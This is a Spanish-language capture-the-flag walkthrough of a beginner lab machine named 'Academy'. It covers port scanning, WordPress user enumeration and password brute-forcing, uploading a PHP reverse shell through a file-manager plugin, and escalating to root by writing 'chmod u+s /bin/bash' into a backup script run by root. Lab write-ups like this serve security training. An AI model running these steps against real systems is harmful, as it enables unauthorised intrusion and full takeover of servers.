Academy
🔍 Dificultad: Principiante
🔍 RECONOCIMIENTO
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
ping -c 1 192.168.1.84para verificar la conectividad de red.

A continuación, se realiza el comando:
nmap -sVC -p- -n --min-rate 5000 192.168.1.84para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH y el puerto 80 perteneciente al servicio HTTP están abiertos por lo que a continuación se indagará más.
🔎 EXPLORACIÓN
Se utiliza el comando:
sudo nmap -sCV -p22,80 -v 192.168.1.84para obtener más información sobre ese puerto específicamente.

Seguimos indagando más sobre los puertos y ahora exploramos el servicio HTTP. Ingresamos la IP y nos encontramos la página de por defecto de Apache.

Ahora buscaremos directorios con la herramienta Gobuster a través de:
gobuster dir -u http://192.168.1.84/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Vemos que nos encontramos un directorio de WordPress.

Nos encontramos ante un sitio basado en WordPress. Generalmente, las páginas de WordPress no se visualizan correctamente si no se ha añadido la dirección correspondiente en el archivo /etc/hosts. Para solucionar esto, llevaré a cabo el siguiente procedimiento:
Primero, accedo a la URL http://192.168.1.84/wordpress. Posteriormente, reviso el código fuente de la página presionando Ctrl + U. Al hacerlo, puedo observar que la web está configurada para apuntar a la dirección academy.thl.

Realizamos fuzzing de nuevo para WordPress.
gobuster dir -u http://192.168.1.84/wordpress/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Al tener el directorio wp-admin sabemos que es un panel de login pero no tenemos las credenciales por lo que con WPScan enumeramos el usuario.
wpscan --url http://academy.thl/wordpress --enumerate u,vp
Sabiendo el usuario tenemos que conseguir la contraseña.
wpscan --url http://academy.thl/wordpress --passwords /usr/share/wordlists/rockyou.txt --usernames dylan
Ingresamos las credenciales en el panel de login.

🚀 EXPLOTACIÓN
Tenemos un plugin de WordPress Bit File Manager que nos permite subir archivos por lo que subiremos una Reverse Shell. https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Nos ponemos en escucha en nuestra máquina atacante.

Después de haber logrado la intrusión, es común que la consola que recibimos sea inestable. Si presionamos Ctrl + C, podemos perder la conexión. Para estabilizar la consola, realizaremos un tratamiento de la TTY con los siguientes pasos:
Ejecutamos el siguiente comando:
script /dev/null -c bashA continuación, presionamos Ctrl + Z para suspender la sesión.
Configuramos la terminal con:
stty raw -echo; fgLuego, restablecemos el terminal con:
reset xtermNota: Es posible que durante este proceso no se muestre en pantalla lo que estamos tecleando.
Finalmente, exportamos las variables necesarias:
export TERM=xterm
export SHELL=bash🔐 PRIVILEGIOS
Al estar dentro y ejecutar:
whoamiaún no somos root, por lo que hacemos:
sudo -lpara ver si hay algo para explotar. Requiere contraseña.
Nos descargamos la herramienta pspy64.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64Realizamos lo siguiente para ejecutarlo.
chmod +x pspy64
./pspy64

Vemos que hay un error en las extensiones por lo que creamos el archivo backup.sh. Es un archivo con permisos SUID .
echo 'chmod u+s /bin/bash' >> backup.shLe damos permisos de ejecución.
chmod +x backup.shEjecutamos el comando.
bash -pYa somos root.

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
Last updated
Was this helpful?